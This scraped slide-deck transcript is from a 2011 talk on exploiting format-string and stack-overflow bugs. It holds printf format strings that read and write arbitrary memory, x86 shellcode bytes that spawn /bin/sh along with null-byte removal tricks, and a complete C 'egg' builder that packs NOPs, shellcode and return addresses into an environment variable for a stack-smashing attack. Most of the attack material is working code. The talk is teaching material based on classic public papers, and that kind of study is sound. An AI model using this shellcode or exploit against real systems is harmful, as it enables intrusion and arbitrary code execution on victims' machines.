Presentation is loading. Please wait.

Presentation is loading. Please wait.

CrackChat #2 Stack Overflows and Format Strings Part 2: Baking the Egg 04-21-2011.

Similar presentations


Presentation on theme: "CrackChat #2 Stack Overflows and Format Strings Part 2: Baking the Egg 04-21-2011."— Presentation transcript:

1 CrackChat #2 Stack Overflows and Format Strings Part 2: Baking the Egg 04-21-2011

2 -(NSDate *)agenda { intro(crackChat); freeZines(); watch(kevinPoulsen); finish(formatString); bakeEgg(); furtherReading(); collectRequests(); return august; }

3 Format Strings

4 # Format modifiers printf(“here’s a number: %d”, num); %d – int %u – unsigned int %x – hex version of %u %s – char * %n – (* int) number of bytes written so far # Variable length parameter lists Printf(“Number %d has no address, number %d has: $08x\n”, i, a, &a); ---- stack top ---- A ---- stack bottom ----

5 # Uses // Viewing the stack (stackpop sequence): printf(“%08x.%08x.%08x.%08x.%08x\n”); // Output: 40012980.080628c4.bffff7a4.00000005.08059c04 // Viewing an arbitrary address (let’s say 0x08480110): printf ("\x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|"); // Output: prints process memory starting at 0x08480110 until null byte // Writing to an arbitrary address printf ("\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%n“);

6 # Tricks // Controlling number of bytes written unsigned char foo[4]; printf(“%64u%n”, 7350, (int *) foo); // Result: foo[0] = 0x40 unsigned char canary[5]; unsigned char foo[4]; memset (foo, ’\x00’, sizeof (foo)); /* 0 * before */ strcpy (canary, "AAAA"); /* 1 */ printf ("%16u%n", 7350, (int *) &foo[0]); /* 2 */ printf ("%32u%n", 7350, (int *) &foo[1]); /* 3 */ printf ("%64u%n", 7350, (int *) &foo[2]); /* 4 */ printf ("%128u%n", 7350, (int *) &foo[3]); printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]); printf ("canary: %02x%02x%02x%02x\n", canary[0], canary[1], canary[2], canary[3]); // Output: 10204080 and canary = 0x00000041

7 Baking the Egg

8 void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } 0x8000490 : pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop

9 # writing shellcode // Simple execve program #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } // Disassemble and extract important parts movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here.

10 // Now for the bytecode char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; // Problem: null bytes. Fix: substitutions. Problem instruction: Substitute with: ------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax --------------------------------------------------------

11 // Exploitation: it’s all math // Need to find where our shellcode begins. Three approaches 1)Guessing: no. we’re lazy. 2)Brute force: try and try again. 3)Shellcode padding: much better odds, but requires a large buffer. Uses NOPS (0x90) or cyclic operations bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE] ^ | |_____________________| top of bottom of stack

12 #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); }.

13 void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); }

14 Further reading: # Smashing the Stack for Fun and Profit, by Aelph One http://www.phrack.org/issues.html?id=14&issue=49 # Exploiting Format String Vulnerabilities, by team teso http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf

15 # Have a good summer.


Download ppt "CrackChat #2 Stack Overflows and Format Strings Part 2: Baking the Egg 04-21-2011."

Similar presentations


Ads by Google